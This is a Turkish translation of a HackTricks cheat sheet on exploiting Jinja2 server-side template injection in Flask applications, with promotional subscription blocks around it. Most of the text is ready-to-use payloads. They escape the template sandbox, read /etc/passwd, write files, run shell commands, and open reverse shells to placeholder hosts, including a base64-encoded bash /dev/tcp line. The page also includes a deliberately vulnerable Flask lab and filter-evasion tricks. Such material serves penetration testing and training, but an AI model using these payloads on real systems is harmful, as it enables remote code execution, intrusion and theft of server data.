mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
292 lines
13 KiB
Markdown
292 lines
13 KiB
Markdown
# Jinja2 SSTI
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın (https://peass.creator-spring.com)
|
||
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuzu keşfedin (https://opensea.io/collection/the-peass-family)
|
||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
|
||
|
||
</details>
|
||
|
||
## **Lab**
|
||
```python
|
||
from flask import Flask, request, render_template_string
|
||
|
||
app = Flask(__name__)
|
||
|
||
@app.route("/")
|
||
def home():
|
||
if request.args.get('c'):
|
||
return render_template_string(request.args.get('c'))
|
||
else:
|
||
return "Hello, send someting inside the param 'c'!"
|
||
|
||
if __name__ == "__main__":
|
||
app.run()
|
||
```
|
||
### **Hata Ayıklama İfadesi**
|
||
|
||
Eğer Hata Ayıklama Eklentisi etkinse, mevcut bağlamı ve mevcut filtreleri ve testleri görüntülemek için bir `debug` etiketi kullanılabilir hale gelir. Bu, bir hata ayırıcı kurmadan şablon içinde kullanılabilir olanları görmek için faydalıdır.
|
||
```python
|
||
<pre>
|
||
|
||
{% raw %}
|
||
{% debug %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
</pre>
|
||
```
|
||
### **Tüm yapılandırma değişkenlerini dök**
|
||
```python
|
||
{{ config }} #In these object you can find all the configured env variables
|
||
|
||
|
||
{% raw %}
|
||
{% for key, value in config.items() %}
|
||
<dt>{{ key|e }}</dt>
|
||
<dd>{{ value|e }}</dd>
|
||
{% endfor %}
|
||
{% endraw %}
|
||
|
||
```
|
||
## **Jinja Enjeksiyonu**
|
||
|
||
İlk olarak, bir Jinja enjeksiyonunda **kum havuzundan kaçmak ve düzenli python yürütme akışına erişimi geri kazanmak** gerekmektedir. Bunu yapabilmek için, **kum havuzundan erişilebilen nesneleri kötüye kullanmanız gerekmektedir** ki bunlar **kum havuzundan olmayan ortamdan gelmektedir**.
|
||
|
||
### Global Nesnelere Erişim
|
||
|
||
Örneğin, `render_template("hello.html", username=username, email=email)` kodunda username ve email nesneleri **kum havuzundan olmayan python ortamından gelir ve kum havuzunda erişilebilir olacaktır.**\
|
||
Ayrıca, kum havuzundan **her zaman erişilebilir olan diğer nesneler** de bulunmaktadır:
|
||
```
|
||
[]
|
||
''
|
||
()
|
||
dict
|
||
config
|
||
request
|
||
```
|
||
### \<class 'object'> Kurtarma
|
||
|
||
Ardından, bu nesnelerden sınıfa ulaşmamız gerekiyor: **`<class 'object'>`** tanımlı **sınıfları kurtarmak** için. Bu, bu nesneden **`__subclasses__`** yöntemini çağırabilir ve **sandbox dışı** python ortamından tüm sınıflara **erişebiliriz**.
|
||
|
||
Bu **nesne sınıfına** erişmek için bir **sınıf nesnesine** erişmeniz ve ardından **`__base__`**, **`__mro__()[-1]`** veya `.`**`mro()[-1]`**'e erişmeniz gerekir. Ve sonra, bu **nesne sınıfına** ulaştıktan **sonra** **`__subclasses__()`** yöntemini **çağırırız**.
|
||
|
||
Bu örnekleri kontrol edin:
|
||
```python
|
||
# To access a class object
|
||
[].__class__
|
||
''.__class__
|
||
()["__class__"] # You can also access attributes like this
|
||
request["__class__"]
|
||
config.__class__
|
||
dict #It's already a class
|
||
|
||
# From a class to access the class "object".
|
||
## "dict" used as example from the previous list:
|
||
dict.__base__
|
||
dict["__base__"]
|
||
dict.mro()[-1]
|
||
dict.__mro__[-1]
|
||
(dict|attr("__mro__"))[-1]
|
||
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
|
||
|
||
# From the "object" class call __subclasses__()
|
||
{{ dict.__base__.__subclasses__() }}
|
||
{{ dict.mro()[-1].__subclasses__() }}
|
||
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
|
||
|
||
{% raw %}
|
||
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||
|
||
# Other examples using these ways
|
||
{{ ().__class__.__base__.__subclasses__() }}
|
||
{{ [].__class__.__mro__[-1].__subclasses__() }}
|
||
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
|
||
{{ request.__class__.mro()[-1].__subclasses__() }}
|
||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||
{% endraw %}
|
||
|
||
|
||
# Not sure if this will work, but I saw it somewhere
|
||
{{ [].class.base.subclasses() }}
|
||
{{ ''.class.mro()[1].subclasses() }}
|
||
```
|
||
### RCE Kaçışı
|
||
|
||
**'<class 'object'>'**'ı kurtardıktan ve `__subclasses__`'ı çağırdıktan sonra bu sınıfları kullanarak dosya okuma, yazma ve kod yürütme işlemlerini gerçekleştirebiliriz.
|
||
|
||
`__subclasses__`'a yapılan çağrı bize **yüzlerce yeni işlevi erişme fırsatı verdi**, sadece **dosya sınıfına erişerek** dosya **okuma/yazma** veya `os` gibi **komutları yürütmeye izin veren bir sınıfa erişmekle** mutlu olacağız.
|
||
|
||
**Uzak dosya okuma/yazma**
|
||
```python
|
||
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
|
||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||
```
|
||
**Uzaktan Kod Çalıştırma (RCE)**
|
||
```python
|
||
# The class 396 is the class <class 'subprocess.Popen'>
|
||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||
|
||
# Calling os.popen without guessing the index of the class
|
||
|
||
{% raw %}
|
||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
|
||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||
|
||
## Passing the cmd line in a GET param
|
||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
||
{% endraw %}
|
||
|
||
|
||
```
|
||
**Daha fazla sınıf** hakkında bilgi edinmek için **kaçış** yapabileceğiniz **daha fazla sınıfı kontrol edebilirsiniz**:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||
{% endcontent-ref %}
|
||
|
||
### Filtre kaçakları
|
||
|
||
#### Yaygın kaçaklar
|
||
|
||
Bu kaçaklar, bazı karakterleri kullanmadan nesnelerin **özelliklerine erişmemizi sağlayacaktır**.\
|
||
Bu kaçakları zaten önceki örneklerde gördük, ancak burada onları özetleyelim:
|
||
```bash
|
||
# Without quotes, _, [, ]
|
||
## Basic ones
|
||
request.__class__
|
||
request["__class__"]
|
||
request['\x5f\x5fclass\x5f\x5f']
|
||
request|attr("__class__")
|
||
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
|
||
|
||
## Using request object options
|
||
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
|
||
request|attr(request.args.c) #Send a param like "?c=__class__
|
||
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
|
||
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
|
||
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
|
||
|
||
## Lists without "[" and "]"
|
||
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
||
|
||
# Using with
|
||
|
||
{% raw %}
|
||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||
{% endraw %}
|
||
|
||
```
|
||
* [**Daha fazla seçenek için buraya dönün ve global bir nesneye erişin**](jinja2-ssti.md#accessing-global-objects)
|
||
* [**Nesne sınıfına erişmek için daha fazla seçenek için buraya dönün**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||
* [**Nesne sınıfı olmadan RCE elde etmek için bunu okuyun**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||
|
||
**HTML kodlamasından kaçınma**
|
||
|
||
Varsayılan olarak Flask, güvenlik nedenleriyle şablon içindeki tüm içeriği HTML kodlar:
|
||
```python
|
||
{{'<script>alert(1);</script>'}}
|
||
#will be
|
||
<script>alert(1);</script>
|
||
```
|
||
**`safe`** filtresi, sayfaya JavaScript ve HTML enjekte etmemize olanak tanırken bunların **HTML kodlanmadan** eklenmesini sağlar, örneğin:
|
||
```python
|
||
{{'<script>alert(1);</script>'|safe}}
|
||
#will be
|
||
<script>alert(1);</script>
|
||
```
|
||
**Kötü niyetli bir yapılandırma dosyası yazarak Uzaktan Kod Çalıştırma (RCE).**
|
||
```python
|
||
# evil config
|
||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||
|
||
# load the evil config
|
||
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
||
|
||
# connect to evil host
|
||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||
```
|
||
## Birkaç karakter olmadan
|
||
|
||
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||
```python
|
||
{% raw %}
|
||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||
{% endraw %}
|
||
|
||
```
|
||
## **\<class 'object'>** Olmadan Jinja Enjeksiyonu
|
||
|
||
[**global objects**](jinja2-ssti.md#accessing-global-objects) bölümünden, **bu sınıfı kullanmadan RCE'ye ulaşmanın** başka bir yolu var.\
|
||
Eğer bu global objelerden herhangi bir **fonksiyona** ulaşmayı başarırsanız, **`__globals__.__builtins__`**'e erişebilecek ve buradan **RCE**'ye çok **kolayca** ulaşabileceksiniz.
|
||
|
||
**`request`**, **`config`** ve erişiminiz olan diğer ilginç **global objeler** üzerinden **fonksiyonları bulabilirsiniz**:
|
||
```bash
|
||
{{ request.__class__.__dict__ }}
|
||
- application
|
||
- _load_form_data
|
||
- on_json_loading_failed
|
||
|
||
{{ config.__class__.__dict__ }}
|
||
- __init__
|
||
- from_envvar
|
||
- from_pyfile
|
||
- from_object
|
||
- from_file
|
||
- from_json
|
||
- from_mapping
|
||
- get_namespace
|
||
- __repr__
|
||
|
||
# You can iterate through children objects to find more
|
||
```
|
||
Birkaç işlev bulduktan sonra builtins'i şu şekilde kurtarabilirsiniz:
|
||
```python
|
||
# Read file
|
||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||
|
||
# RCE
|
||
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
|
||
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
||
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
|
||
|
||
{% raw %}
|
||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
||
{% endraw %}
|
||
|
||
## Extra
|
||
## The global from config have a access to a function called import_string
|
||
## with this function you don't need to access the builtins
|
||
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
|
||
|
||
# All the bypasses seen in the previous sections are also valid
|
||
```
|
||
## Referanslar
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||
* [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3) kontrol edin.
|
||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
|
||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||
|
||
</details>
|